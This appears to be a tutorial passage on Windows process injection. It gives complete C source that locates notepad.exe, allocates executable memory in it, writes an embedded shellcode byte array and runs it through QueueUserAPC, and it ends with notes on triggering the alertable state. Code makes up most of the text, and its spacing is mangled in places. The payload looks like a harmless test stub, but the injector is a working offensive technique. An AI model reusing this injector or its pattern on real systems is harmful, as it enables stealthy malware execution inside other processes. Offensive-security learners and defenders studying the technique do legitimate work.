#include<windows.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#include<tlhelp32.h>unsignedchar shellcode[] = {0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0x1a,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x35,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x70,0x65,0x61,0x6b,0x61,0x62,0x6f,0x6f,0x00};unsignedint pay_len =sizeof(shellcode);DWORDFindProcessPid(constchar* name){ PROCESSENTRY32 pe32 = { 0 };pe32.dwSize =sizeof(PROCESSENTRY32); HANDLE hSnapshot =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); // takes a snapshot of all the processes running in the systemif (hSnapshot) {if (Process32First(hSnapshot,&pe32)) // from the snapshot of the processes, we extract the process name {do {if (strcmp(pe32.szExeFile, name) ==0) // compares the process name, with our user supplied name {returnpe32.th32ProcessID; // if its the same, return the process id } } while (Process32Next(hSnapshot,&pe32));CloseHandle(hSnapshot); } }return-1; // returns negative one if the process is not found}HANDLEFindThread(int pid) { HANDLE hThread =NULL; THREADENTRY32 thEntry;thEntry.dwSize =sizeof(thEntry); HANDLE Snap =CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,0);while (Thread32Next(Snap,&thEntry)) {if (thEntry.th32OwnerProcessID == pid) { hThread =OpenThread(THREAD_ALL_ACCESS, FALSE,thEntry.th32ThreadID);break; } }CloseHandle(Snap);return hThread;}intmain(void) {int pid =FindProcessPid("notepad.exe"); HANDLE hThread =FindThread(pid); LPVOID pRem =NULL; HANDLE han_proc =OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, (DWORD)pid); pRem =VirtualAllocEx(han_proc,NULL, pay_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);WriteProcessMemory(han_proc, pRem, (PVOID)shellcode, (SIZE_T)pay_len, (SIZE_T*)NULL);QueueUserAPC((PAPCFUNC)pRem, hThread,NULL); // this is the only different thing, we ge QUeueUserAPC copy hte payload etc, then we use QUeueUserAPC poitner to the hellcode whic hwas allocatedCloseHandle(han_proc);getchar();return0;}
Let's compile this piece of code and run it.
You will not get your shellcode to run instantly, instead you some how have to coerce your application to be in an alertable state. Let's play around with notepad and try to get it to be alertable.
I found that trying to save a text file will cause it to become alertable and execute our shellcode
We can also see our remotely allocated shellcode in process hacker: